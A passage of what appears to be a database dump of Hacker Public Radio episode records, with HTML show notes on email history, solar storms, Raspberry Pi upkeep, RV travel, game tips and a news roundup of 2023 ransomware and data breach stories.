<code>true</code>.</li>\n</ul></li>\n</ul></li>\n</ul>\n<ul>\n<li>Is email still relevant in 2023?\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Google_Wave\">Google Wave</a>\n- Google’s possible email replacement seemed not to have lasted very\nlong</li>\n<li>Alternative access to Gmail using the IMAP protocol</li>\n<li>Folders versus labels. <a\nhref=\"https://www.youtube.com/watch?v=jPhJbKBuNnA\">Tom Scott’s video “I\ntried using AI. It scared me.”</a></li>\n<li>Dave’s experiences with email:\n<ul>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Digital_Equipment_Corporation\">Digital\nEquipment Corporation’s</a> Vax VMS used DECmail, which needed <a\nhref=\"https://en.wikipedia.org/wiki/DECnet\">DECNet</a> networking.</li>\n<li>The UK Academic network (<a\nhref=\"https://en.wikipedia.org/wiki/JANET\">JANET</a>) initially used its\nown <a\nhref=\"https://en.wikipedia.org/wiki/Coloured_Book_protocols\">Coloured\nBook protocols</a>, including Grey Book mail. This ran over an X.25\nnetwork.</li>\n<li>Gradual transition to TCP/IP and SMTP mail (over JANET Internet\nProtocol Service, “JIPS”).</li>\n<li>In early Unix days (Ultrix) there was <a\nhref=\"https://en.wikipedia.org/wiki/MH_Message_Handling_System\"><code>MH</code>\n(Message Handler)</a></li>\n<li>Later, this was replaced by <a\nhref=\"https://www.nongnu.org/nmh/\"><code>nmh</code></a>.</li>\n<li>A GUI interface was available called <code>xmh</code></li>\n<li>A very flexible open-source front end called <code>exmh</code> was\ncrafted using Tcl/Tk</li>\n<li>Using <a\nhref=\"https://en.wikipedia.org/wiki/Procmail\"><code>procmail</code></a>\nallowed an enormous number of capabilities, like sophisticated\nfiltering, spam detection and automatic replies.</li>\n<li>Now using <a href=\"https://www.thunderbird.net/\">Thunderbird</a>,\nand has been for maybe 15 years.</li>\n</ul></li>\n<li>MrX used Eudora in the past, but mostly uses Outlook now.</li>\n<li>Both agree that many useful features of email, available in the\npast, have gone. Both of us still find email relevant however!</li>\n</ul></li>\n</ul>\n<ul>\n<li>Calendars:\n<ul>\n<li>MrX misses the calendar on the Psion Organiser</li>\n<li>Dave used to use an X-Windows tool called <code>ical</code> on\nUltrix (no relation to the later <code>iCalendar</code> standard). Moved\nto Thunderbird and its calendar called <code>Lightning</code>.</li>\n<li>Both have used the Google Calendar, Dave uses a Thunderbird add-on\nto share family calendars</li>\n</ul></li>\n</ul>\n<ul>\n<li>Lifetime of storage media:\n<ul>\n<li>SD cards can last a fairly long time, but getting the right type is\nimportant. Using older-style cards in new projects might turn out to be\na false economy.</li>\n<li>Hard disks can last a long time if the right sort is used. One thing\nthat shortens their life is getting them hot.</li>\n<li>MrX has used Western Digital Passport hard drives for some time, and\nthey have been very reliable – none have failed.</li>\n<li>There are different drives from Western Digital which have different\nperformances and they are colour coded. See the <a\nhref=\"https://www.westerndigital.com/en-gb/solutions/color-drives\">Western\nDigital</a> website for details.</li>\n</ul></li>\n</ul>\n<ul>\n<li>Complexity and single points of failure:\n<ul>\n<li>Chip shortages and lack of resilience:\n<ul>\n<li>Modern components that do a single job used to consist of multiple\ndiscrete components that could be replaced individually. Now, if a\ncomponent fails it has to be replaced in its entirety, and because of\nthe shortage of chips it uses it may be unavailable.</li>\n<li>Older devices and components may still use older less specialised\nparts and so can be repaired.</li>\n<li>Unnecessary reliance on GPS in devices, cloud services in <em>Smart\nHome</em> equipment, etc.</li>\n<li>For example, managing enormous warehouses requires a lot of services\nthat may not be too resilient, and could fail catastrophically.</li>\n</ul></li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Coronal_mass_ejection\">Coronal Mass\nEjection (CME)</a>:\n<ul>\n<li>Such an event could destroy many satellites (such as those providing\nGPS). It could also cause a massive overload of the power grid.\nTransformers used in the grid can be damaged or destroyed and <a\nhref=\"https://www.tdworld.com/substations/article/21258955/no-easy-answers-transformer-supply-crisis-deepens\">replacing\nthem in a timely fashion can be difficult</a>.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Carrington_Event\">Carrington\nevent</a> in September 1859 telegraph machines reportedly shocked\noperators and caused small fires.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/March_1989_geomagnetic_storm\">March\n1989 CME</a> caused a power outage in Quebec, Canada.</li>\n<li>Recent YouTube video from Anton Petrov: <a\nhref=\"https://www.youtube.com/watch?v=mJCytV7PUzk\"><em>Wow! Sun Just\nProduced a Carrington Like Event, But We Got Super Lucky</em></a></li>\n</ul></li>\n</ul></li>\n</ul>\n<ul>\n<li>Keeping systems up to date:\n<ul>\n<li>MrX has had problems getting various RPis updated and running.</li>\n<li>Dave has had similar problems making the jump from Raspbian to\nRaspberry Pi OS.</li>\n<li>In some cases the operating system on the Pis have needed to be\ncompletely reinstalled, and the work in installing and reconfiguring\nsoftware has proved to be too much!</li>\n<li>MrX’s <a\nhref=\"https://www.piface.org.uk/products/piface_control_and_display/\">PiFace\nControl and Display board</a> is giving problems, as is the simpler <a\nhref=\"https://www.piface.org.uk/products/piface_digital/\">PiFace\nDigital</a>. It looks as if the company has gone out of business\nunfortunately.</li>\n<li>Dave has a <a\nhref=\"https://shop.pimoroni.com/products/pico-rgb-keypad-base\">Pico RGB\nBase from Pimoroni</a>, a 14-key board with RGB LEDs which could be used\nas a way of controlling things.</li>\n<li>Dave’s <a\nhref=\"https://hackerpublicradio.org/eps.php?id=3039\"><em>Magic\nMirror</em></a> system (a Pi 3A+ attached to a monitor) failed because\nthe Pi needed to be upgraded and then the <code>Node.js</code> code\ndidn’t seem to be maintained any more! Needs work!!</li>\n<li>MrX’s desktop PC is small and quiet, but since it’s in a cold room,\ntends not to get used too much in the winter! Dave’s PC is in an\nextension (addition) to the house and tends to get used quite a lot, but\nin cold winter weather, less so.</li>\n</ul></li>\n</ul>\n<ul>\n<li>YouTube list:\n<ul>\n<li>We were going to mention a few YouTube channels we’d watched lately,\nbut felt we’d already talked long enough!</li>\n<li>Rather than just adding the list to the notes, as we discussed, we\nwill leave this section to the next time we make a recording such as\nthis.</li>\n</ul></li>\n</ul>\n<ul>\n<li>Completing HPR shows:\n<ul>\n<li>MrX has a show he has recorded but is held up preparing notes to go\nwith it.</li>\n<li>Dave tends to write draft notes first, then build the recording\naround them, but this approach isn’t necessarily faster!</li>\n</ul></li>\n</ul>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li>Google:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Google_Wave\">Google\nWave</a></li>\n<li><a href=\"https://support.google.com/mail/answer/7126229\">Accessing\nGmail with IMAP</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Early mail tools:\n<ul>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/MH_Message_Handling_System\">MH\nMessage Handling System</a></li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/MH_%26_xmh:_Email_for_Users_%26_Programmers\"><em>MH\n&amp; xmh: Email for Users &amp; Programmers</em>, Jerry Peek,\n1996</a></li>\n<li><a href=\"https://www.nongnu.org/nmh/\">nmh - Message Handling\nSystem</a></li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Procmail\"><code>procmail</code> mail\nfilter</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Solar storms / Coronal Mass Ejections:\n<ul>\n<li>Wikipedia article on <a\nhref=\"https://en.wikipedia.org/wiki/Coronal_mass_ejection\">Coronal Mass\nEjections (CME)</a>.</li>\n<li>Wikipedia article on the <a\nhref=\"https://en.wikipedia.org/wiki/Carrington_Event\">Carrington\nevent</a> in September 1859.</li>\n<li>Wikipedia article on the <a\nhref=\"https://en.wikipedia.org/wiki/March_1989_geomagnetic_storm\">March\n1989 CME</a>.</li>\n<li><a href=\"\">List of solar storms</a></li>\n<li><a\nhref=\"https://www.tdworld.com/substations/article/21258955/no-easy-answers-transformer-supply-crisis-deepens\">Transformer\nshortage in the USA</a></li>\n</ul></li>\n</ul>\n</article>\n',225,0,1,'CC-BY-SA','Edinburgh,meeting',0,0,1),
(3835,'2023-04-14','Retro Karaoke machine Part 2',954,'Archer72 fixes misplaced belts and figures out what really happened','<ul>\n<li><p>The tape stops in the middle</p></li>\n<li><p>Put pressure here</p></li>\n</ul>\n<p><a\nhref=\"http://hackerpublicradio.org/eps/hpr3835/IMG_Pressure_here_tn.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3835/IMG_Pressure_here_tn_thumbnail.jpg\"\ntitle=\"Put Pressure on the right side to seat cassette tape\"\nalt=\"Put Pressure here to seat cassette tape\" /></a></p>\n<p><a\nhref=\"http://hackerpublicradio.org/eps/hpr3835/IMG_Vector-Prime-Audio-Drama_tn.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3835/IMG_Vector-Prime-Audio-Drama_tn_thumbnail.jpg\"\ntitle=\"Cassette tape and sleeve of Star Wars: Vector Prime Audio Drama\"\nalt=\"Cassette tape and sleeve of Star Wars: Vector Prime Audio Drama\" /></a></p>\n<p>Video clip of Star Wars audio drama playing <a\nhref=\"https://archive.org/details/vector-prime-audiobook-video-clip-on-karaoke_2023-03-25\"\ntitle=\"Video clip of Star Wars audio drama playing on Archive.org\">Video\nclip on Archive.org</a></p>\n',318,0,0,'CC-BY-SA','retro, karaoke, cassette tape',0,0,1),
(3960,'2023-10-06','On The Road At Last',1042,'Preparations are done, and we start out on the road.','<p>We finally got all of the preparations and maintenance done, and it\nwas time to hit the road. Once again, we left a bit later than planned,\nbut life is like that.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://flic.kr/s/aHBqjAviSX\"\nclass=\"uri\">https://flic.kr/s/aHBqjAviSX</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAveYi\"\nclass=\"uri\">https://flic.kr/s/aHBqjAveYi</a></li>\n<li><a\nhref=\"https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/on-the-road-at-last/\"\nclass=\"uri\">https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/on-the-road-at-last/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','RV, travel, southeast US, maintenance',0,0,1),
(4111,'2024-05-06','HPR Community News for April 2024',0,'HPR Volunteers talk about shows released and comments posted in April 2024','',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3841,'2023-04-24','The Oh No! News.',1268,'Sgoti and Bumble bee discusses U.S. Marshals Service Ransomware attack and more.','<h2 id=\"the-oh-no-news.\">The <em>Oh No!</em> news.</h2>\n<h2 id=\"oh-no-news-is-good-news.\"><em>Oh No!</em> News is Good\nNews.</h2>\n<hr />\n<ul>\n<li><strong>Threat analysis; your attack surface.</strong></li>\n<li><strong>Article:</strong> <a\nhref=\"https://www.pcmag.com/news/us-marshals-service-computer-system-hit-by-ransomware-attack?utm_source=feedotter&amp;utm_medium=email&amp;utm_campaign=FO-02-28-2023&amp;utm_content=httpswwwpcmagcomnewsusmarshalsservicecomputersystemhitbyransomwareattack\">US\nMarshals Service Computer System Hit by Ransomware Attack.</a>\n<ul>\n<li><strong>Author:</strong> <a\nhref=\"https://www.pcmag.com/authors/michael-kan\">Michael Kan</a>. (2023,\nFeb 28).</li>\n<li>The agency uncovered the intrusion on Feb. 17 2023, when it\ndiscovered &#x201C;a ransomware and data exfiltration event affecting a\nstandalone USMS system.&#x201D; That means the hackers stole information from\nthe computer while planting malicious code capable of encrypting the\ndata inside.</li>\n<li>&#x201C;The affected system contains law enforcement sensitive information,\nincluding returns from legal process, administrative information, and\npersonally identifiable information pertaining to subjects of USMS\ninvestigations, third parties, and certain USMS employees,&#x201D; the agency\nsays.</li>\n</ul></li>\n<li><strong>Article:</strong> <a\nhref=\"https://www.pcmag.com/news/us-shuts-down-netwire-malware-that-posed-as-legit-remote-admin-tool?utm_source=feedotter&amp;utm_medium=email&amp;utm_campaign=FO-03-14-2023&amp;utm_content=httpswwwpcmagcomnewsusshutsdownnetwiremalwarethatposedaslegitremoteadmintool\">US\nShuts Down \'Netwire\' Malware That Posed as Legit Remote Admin Tool.</a>\n<ul>\n<li><strong>Author:</strong> <a\nhref=\"https://www.pcmag.com/authors/michael-kan\">Michael Kan</a>. (2023,\nMar 10).</li>\n<li>Worldwiredlabs.com has been around since at least 2012(Opens in a\nnew window), offering a software product called &#x201C;Netwire,&#x201D; which is\nsupposedly designed to help IT support staff manage computers remotely.\nBefore the site was seized, it was offering Netwire for $10 per month or\n$60 per year. However, US investigators say the site was a front to sell\nthe software as a hacking tool to cybercriminals.</li>\n</ul></li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://www.justice.gov/usao-cdca/pr/federal-authorities-seize-internet-domain-selling-malware-used-illegally-control-and\">Federal\nAuthorities Seize Internet Domain Selling Malware Used to Illegally\nControl and Steal Data from Victims&#x2019; Computers.</a>\n<ul>\n<li><strong>Author:</strong> U.S. Attorney\'s Office, Central District of\nCalifornia. (2023, Mar 9).</li>\n<li>A seizure warrant approved by a United States Magistrate Judge on\nMarch 3 and executed on Tuesday led to the seizure of\nwww.worldwiredlabs.com, which offered the NetWire remote access trojan\n(RAT), a sophisticated program capable of targeting and infecting every\nmajor computer operating system. &#x201C;A RAT is a type of malware that allows\nfor covert surveillance, allowing a &#x2018;backdoor&#x2019; for administrative\ncontrol and unfettered and unauthorized remote access to a victim&#x2019;s\ncomputer, without the victim&#x2019;s knowledge or permission,&#x201D; according to\ncourt documents filed in Los Angeles.</li>\n</ul></li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://www.cnn.com/2023/03/24/politics/fbi-breach-forums-conor-fitzpatrick/index.html\">FBI\ntakes down cybercrime forum that touted data connected to breach\naffecting US lawmakers.</a>\n<ul>\n<li><strong>Author:</strong> Sean Lyngaas. (2023, Mar 24).</li>\n<li>The FBI has arrested the alleged founder of a popular cybercriminal\nforum that touted data stolen in a hack affecting members of Congress\nand thousands of other people and taken the website down, the Justice\nDepartment said Friday.</li>\n</ul></li>\n<li><strong>Article:</strong> <a\nhref=\"https://www.pcmag.com/news/data-breach-at-dc-health-insurance-exchange-ensnares-us-lawmakers\">Data\nBreach at DC Health Insurance Exchange Ensnares US Lawmakers.</a>\n<ul>\n<li><strong>Author:</strong> <a\nhref=\"https://www.pcmag.com/authors/michael-kan\">Michael Kan</a>. (2023,\nMar 9).</li>\n<li>A data breach at a health insurance exchange in Washington, D.C. has\nled a hacker to steal the personal information of US lawmakers and their\nstaff.</li>\n</ul></li>\n<li><strong>Article:</strong> <a\nhref=\"https://www.prnewswire.com/news-releases/independent-living-systems-provides-notice-of-data-event-301771989.html\">Independent\nLiving Systems Provides Notice of Data Event.</a>\n<ul>\n<li><strong>Author:</strong> Independent Living Systems, LLC. (2023, Mar\n14).</li>\n<li>The types of impacted information varies by individual and could\nhave included: name, address, date of birth, driver\'s license, state\nidentification, Social Security number, financial account information,\nmedical record number, Medicare or Medicaid identification, CIN#, mental\nor physical treatment/condition information, food delivery information,\ndiagnosis code or diagnosis information, admission/discharge date,\nprescription information, billing/claims information, patient name, and\nhealth insurance information.</li>\n</ul></li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://apps.web.maine.gov/online/aeviewer/ME/40/aacdb720-e082-4ef6-b7e6-f03280b2c4ec.shtml\">Data\nBreach Notifications.</a>\n<ul>\n<li><strong>Author:</strong> Maine Attorney General. (2023, Mar\n14).</li>\n<li>Total number of persons affected (including residents):\n4,226,508</li>\n<li>Total number of Maine residents affected: 238</li>\n<li>If the number of Maine residents exceeds 1,000, have the consumer\nreporting agencies been notified:</li>\n<li>Date(s) Breach Occurred: 06/03/2022</li>\n<li>Date Breach Discovered: 01/17/2023</li>\n<li>Description of the Breach:</li>\n<li>External system breach (hacking)</li>\n<li>Information Acquired - Name or other personal identifier in\ncombination with: Social Security Number</li>\n</ul></li>\n<li><strong>Article:</strong> <a\nhref=\"https://www.bleepingcomputer.com/news/security/alleged-breachforums-owner-pompompurin-arrested-on-cybercrime-charges/\">Alleged\nBreachForums owner Pompompurin arrested on cybercrime charges.</a>\n<ul>\n<li><strong>Author:</strong> <a\nhref=\"https://www.bleepingcomputer.com/author/sergiu-gatlan/\"\ntitle=\"Sergiu Gatlan has covered cybersecurity, technology, and other news beats for more than a decade.\">Sergiu\nGatlan</a>. (2023, Mar 17).</li>\n<li>U.S. law enforcement arrested on Wednesday a New York man believed\nto be Pompompurin, the owner of the BreachForums hacking forum.</li>\n</ul></li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://www.cnn.com/2023/03/24/politics/fbi-breach-forums-conor-fitzpatrick/index.html\">FBI\ntakes down cybercrime forum that touted data connected to breach\naffecting US lawmakers.</a>\n<ul>\n<li><strong>Author:</strong> Sean Lyngaas. (2023, Mar 24).</li>\n<li>The FBI has arrested the alleged founder of a popular cybercriminal\nforum that touted data stolen in a hack affecting members of Congress\nand thousands of other people and taken the website down, the Justice\nDepartment said Friday.</li>\n</ul></li>\n</ul>\n<hr />\n<ul>\n<li><strong>User space.</strong></li>\n<li><strong>Article:</strong> <a\nhref=\"https://www.forbes.com/sites/emilymason/2022/10/27/after-paypal-revokes-controversial-misinformation-policy-major-concerns-remain-over-2500-fine/?sh=7394309330c4\">After\nPayPal Revokes Controversial Misinformation Policy, Major Concerns\nRemain Over $2,500 Fine.</a>.\n<ul>\n<li><strong>Author:</strong> Emily Mason (2022, Oct 22).</li>\n<li>After facing backlash earlier this month, PayPal PYPL -1.5%\nrescinded a line in its policy stating that spreading misinformation on\nthe platform would be subject to a $2,500 fine. Today, the remaining\nlanguage leaves users and elected officials demanding more clarity over\nhow the platform defines fine-worthy speech.</li>\n</ul></li>\n<li>Bumble Bee\'s first experience of the HPR website.</li>\n</ul>\n<hr />\n<ul>\n<li><strong>Additional Information.</strong>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Data_breach\"\ntitle=\"Data Breach: from Wikipedia, the free encyclopedia.\">What is a\nData Breach?</a> A data breach is a security violation, in which\nsensitive, protected or confidential data is copied, transmitted,\nviewed, stolen, altered or used by an individual unauthorized to do\nso.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Malware\"\ntitle=\"Malware: from Wikipedia, the free encyclopedia.\">What is\nMalware?</a> Malware (a <a\nhref=\"https://en.wikipedia.org/wiki/Portmanteau\"\ntitle=\"Multiple words are combined into a new word.\">portmanteau</a> for\nmalicious software) is any software intentionally designed to cause\ndisruption to a computer, server, client, or computer network, leak\nprivate information, gain unauthorized access to information or systems,\ndeprive access to information, or which unknowingly interferes with the\nuser\'s computer security and privacy.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Payload_(computing)\">What is\na Payload?</a> In the context of a computer virus or worm, the payload\nis the portion of the malware which performs malicious action; deleting\ndata, sending spam or encrypting data. In addition to the payload, such\nmalware also typically has overhead code aimed at simply spreading\nitself, or avoiding detection.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Phishing\"\ntitle=\"Phishing: from Wikipedia, the free encyclopedia.\">What is\nPhishing?</a> Phishing is a form of <a\nhref=\"https://en.wikipedia.org/wiki/Social_engineering_(security)\">social\nengineering</a> where attackers deceive people into revealing sensitive\ninformation or installing malware such as <a\nhref=\"https://en.wikipedia.org/wiki/Ransomware\">ransomware</a>. Phishing\nattacks have become increasingly sophisticated and often transparently\nmirror the site being targeted, allowing the attacker to observe\neverything while the victim is navigating the site, and transverse any\nadditional security boundaries with the victim.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Information_security\">What is\nInformation Security (InfoSec)?</a> Information security, sometimes\nshortened to InfoSec, is the practice of protecting information by\nmitigating <a\nhref=\"https://en.wikipedia.org/wiki/Information\">information</a> risks.\nIt is part of <a\nhref=\"https://en.wikipedia.org/wiki/Risk_management_information_systems\">information\nrisk management</a>.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Vulnerability_(computing)\">What is a\nVulnerability (computing)?</a> Vulnerabilities are flaws in a computer\nsystem that weaken the overall security of the device/system.\nVulnerabilities can be weaknesses in either the hardware itself, or the\nsoftware that runs on the hardware.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Attack_surface\">What is an\n\"Attack Surface\"?</a> The attack surface of a software environment is\nthe sum of the different points (for \"attack vectors\") where an\nunauthorized user (the \"attacker\") can try to enter data to or extract\ndata from an environment. Keeping the attack surface as small as\npossible is a basic security measure.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Attack_vector\">What is an\n\"Attack Vector\"?</a> In computer security, an attack vector is a\nspecific path, method, or scenario that can be exploited to break into\nan IT system, thus compromising its security. The term was derived from\nthe corresponding notion of vector in biology. An attack vector may be\nexploited manually, automatically, or through a combination of manual\nand automatic activity.</li>\n</ul></li>\n</ul>\n',391,0,0,'CC-BY-SA','US Marshals Service Ransomware, Netwire Malware, US Lawmakers Data Breach, Independent Living System',0,0,1),
(3880,'2023-06-16','Installing a Google Nest Thermostat',791,'I installed a new smart thermostat','<p>Our old thermostat was breaking down to the point that we could not\nchange the temperature, so it was time for a change. And since smart\nthermostats have gotten pretty good I decided that I wanted to install\none and take more control of my environment.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a\nhref=\"https://www.consumerreports.org/smart-thermostats/google-nest-thermostat-review-a9480620820/\"\nclass=\"uri\">https://www.consumerreports.org/smart-thermostats/google-nest-thermostat-review-a9480620820/</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=dHKD-9uI24I\"\nclass=\"uri\">https://www.youtube.com/watch?v=dHKD-9uI24I</a></li>\n<li><a href=\"https://www.electronicshub.org/thermostat-wire-colors/\"\nclass=\"uri\">https://www.electronicshub.org/thermostat-wire-colors/</a></li>\n<li><a\nhref=\"https://support.google.com/googlenest/answer/9452748?hl=en#zippy=%2Ccommon-thermostat-wires\"\nclass=\"uri\">https://support.google.com/googlenest/answer/9452748?hl=en#zippy=%2Ccommon-thermostat-wires</a></li>\n<li><a\nhref=\"https://www.palain.com/miscellaneous-technical-notes/installing-a-google-nest-thermostat/\"\nclass=\"uri\">https://www.palain.com/miscellaneous-technical-notes/installing-a-google-nest-thermostat/</a></li>\n</ul>\n',198,0,0,'CC-BY-SA','Thermostat, Google Nest, installation',0,0,1),
(3890,'2023-06-30','Lessons Learned',793,'What we learned from this experience that will make the next one better.','<p>This trip started with a difficult week with things breaking and\nmistakes being made. But in the end we had a really good time and want\nto do another trip. But we have learned a few lessons, and we\'ll pass\nthem along to benefit anyone else who might want to do something\nsimilar.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://www.palain.com/travel/lessons-learned/\"\nclass=\"uri\">https://www.palain.com/travel/lessons-learned/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','Travel, RV life, Lessons Learned',0,0,1),
(3900,'2023-07-14','Preparing Podcasts for Listening',704,'I prepare my podcast files for listening in Audacity.','<p>Because I use very small and simple MP3 players, I have to do\npre-processing of my podcast files, and I use Audacity for that purpose.\nI explain exactly how I do this in case it helps someone else.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"http://hackerpublicradio.org/eps.php?id=1479\"\nclass=\"uri\">http://hackerpublicradio.org/eps.php?id=1479</a></li>\n<li><a href=\"https://gpodder.net/\"\nclass=\"uri\">https://gpodder.net/</a></li>\n<li><a href=\"https://www.audacityteam.org/download/\"\nclass=\"uri\">https://www.audacityteam.org/download/</a></li>\n<li><a\nhref=\"https://www.palain.com/miscellaneous-technical-notes/preparing-podcasts-for-listening/\"\nclass=\"uri\">https://www.palain.com/miscellaneous-technical-notes/preparing-podcasts-for-listening/</a></li>\n</ul>\n',198,0,0,'CC-BY-SA','Podcasts, Audacity, file preparation',0,0,1),
(3910,'2023-07-28','Playing Civilization II',968,'Some hints for playing Civilization II','<p>As I did for the original Civilization, I want to give a few hints on\nplaying this marvelous upgrade. This is obviously not a complete manual\nor strategy guide, which would take a <em>lot</em> longer, but if you\nhappened to run across a copy and wanted to check it out these are a\nsome hints on what you might want to do. I do give you links to other\nresources if you want to go into more depth.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a\nhref=\"https://civilization.fandom.com/wiki/Help_with_playing_Civ2\"\nclass=\"uri\">https://civilization.fandom.com/wiki/Help_with_playing_Civ2</a></li>\n<li><a href=\"https://civilization.fandom.com/wiki/Attitude_(Civ2)\"\nclass=\"uri\">https://civilization.fandom.com/wiki/Attitude_(Civ2)</a></li>\n<li><a\nhref=\"https://www.palain.com/gaming/civilization-ii/playing-civilization-ii-hints/\"\nclass=\"uri\">https://www.palain.com/gaming/civilization-ii/playing-civilization-ii-hints/</a></li>\n</ul>\n',198,122,0,'CC-BY-SA','Computer games, strategy games, Civilization II',0,0,1),
(3920,'2023-08-11','RV Trip 2022-2023: Southeast US',862,'Step one for a months-long RV trip is the planning.','<p>In this episode we look at the planning process for our second RV\ntrip. Last year we toured the Southwest US, but we don\'t like to repeat\nourselves. So this time we decided to tour the Southeast US. This not\nonly let us visit a much different part of the country, but it also\nallowed us to go back to our plan to visit some NASA facilities.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://www.flattestroute.com/\"\nclass=\"uri\">https://www.flattestroute.com/</a></li>\n<li><a href=\"https://en-us.topographic-map.com/\"\nclass=\"uri\">https://en-us.topographic-map.com/</a></li>\n<li><a\nhref=\"https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/\"\nclass=\"uri\">https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','RV, travel planning',0,0,1),
(3930,'2023-08-25','Playing Civilization II Test of Time',747,'Some hints for playing Civilization II Test of Time','<p>For reasons I go into, this is in some respects a different game from\nCivilization II, at least different enough to deserve some separate\nattention. The multiple map feature makes for some interesting game play\npossibilities that add interest to this version, and the fact that it\nhas no defined end point is also intriguing. And the scenarios add some\ninteresting story differences as well.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a\nhref=\"https://www.amazon.com/Sid-Meiers-Memoir-Computer-Games-ebook/dp/B085845CX9/ref=tmm_kin_swatch_0\"\nclass=\"uri\">https://www.amazon.com/Sid-Meiers-Memoir-Computer-Games-ebook/dp/B085845CX9/ref=tmm_kin_swatch_0</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Lalande_21185\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Lalande_21185</a></li>\n<li><a\nhref=\"https://www.myabandonware.com/game/civilization-ii-test-of-time-454\"\nclass=\"uri\">https://www.myabandonware.com/game/civilization-ii-test-of-time-454</a></li>\n<li><a\nhref=\"https://www.palain.com/gaming/civilization-ii/playing-civilization-ii-test-of-time/\"\nclass=\"uri\">https://www.palain.com/gaming/civilization-ii/playing-civilization-ii-test-of-time/</a></li>\n</ul>\n',198,0,0,'CC-BY-SA','Computer games, strategy games, Civilization II, Test of Time',0,0,1),
(3940,'2023-09-08','Equipment Maintenance',792,'We prepare the RV and the truck for our trip. ','<p>When you go on an RV trip you are basically towing your home around,\nand that means you need to have your equipment in shape. RVs are said to\nundergo an earthquake every time you tow them, and so there are things\nthat need to be addressed. And the tow vehicle needs to be in good shape\nas well. So in this episode we discuss how we did the necessary\nequipment maintenance.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a\nhref=\"https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/equipment-maintenance/\"\nclass=\"uri\">https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/equipment-maintenance/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','RV, travel, southeast US, maintenance',0,0,1),
(3950,'2023-09-22','Sid Meiers\' Alpha Centauri',969,'One of the best overlooked games','<p>Because it doesn\'t have the word \"Civilization\" in its name, this\ngame is unfairly overlooked. It was a major achievement when released,\nand it is still a very rewarding game for anyone to pick up and play.\nThere is a lot of depth to it, and it holds up well even after a couple\nof decades.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://www.youtube.com/watch?v=1m0aEO7CrxM\"\nclass=\"uri\">https://www.youtube.com/watch?v=1m0aEO7CrxM</a></li>\n<li><a\nhref=\"https://www.gamespot.com/articles/an-interview-with-brian-reynolds/1100-2564268/\"\nclass=\"uri\">https://www.gamespot.com/articles/an-interview-with-brian-reynolds/1100-2564268/</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=4HpyQoU1DNw\"\nclass=\"uri\">https://www.youtube.com/watch?v=4HpyQoU1DNw</a></li>\n<li><a href=\"https://alphacentauri.fandom.com/wiki/Alpha_Centauri_Wiki\"\nclass=\"uri\">https://alphacentauri.fandom.com/wiki/Alpha_Centauri_Wiki</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=0u7uUWYE_9M\"\nclass=\"uri\">https://www.youtube.com/watch?v=0u7uUWYE_9M</a></li>\n<li><a\nhref=\"http://www.civ.org.pl/files/smac/misc/ALPHA_CENTAURI_MANUAL.PDF\"\nclass=\"uri\">http://www.civ.org.pl/files/smac/misc/ALPHA_CENTAURI_MANUAL.PDF</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=9oDIG4RRcLM\"\nclass=\"uri\">https://www.youtube.com/watch?v=9oDIG4RRcLM</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=9_PxlRn4SCU\"\nclass=\"uri\">https://www.youtube.com/watch?v=9_PxlRn4SCU</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=f9kdaKcQ19M\"\nclass=\"uri\">https://www.youtube.com/watch?v=f9kdaKcQ19M</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=B3TZVn__NXY\"\nclass=\"uri\">https://www.youtube.com/watch?v=B3TZVn__NXY</a></li>\n<li><a 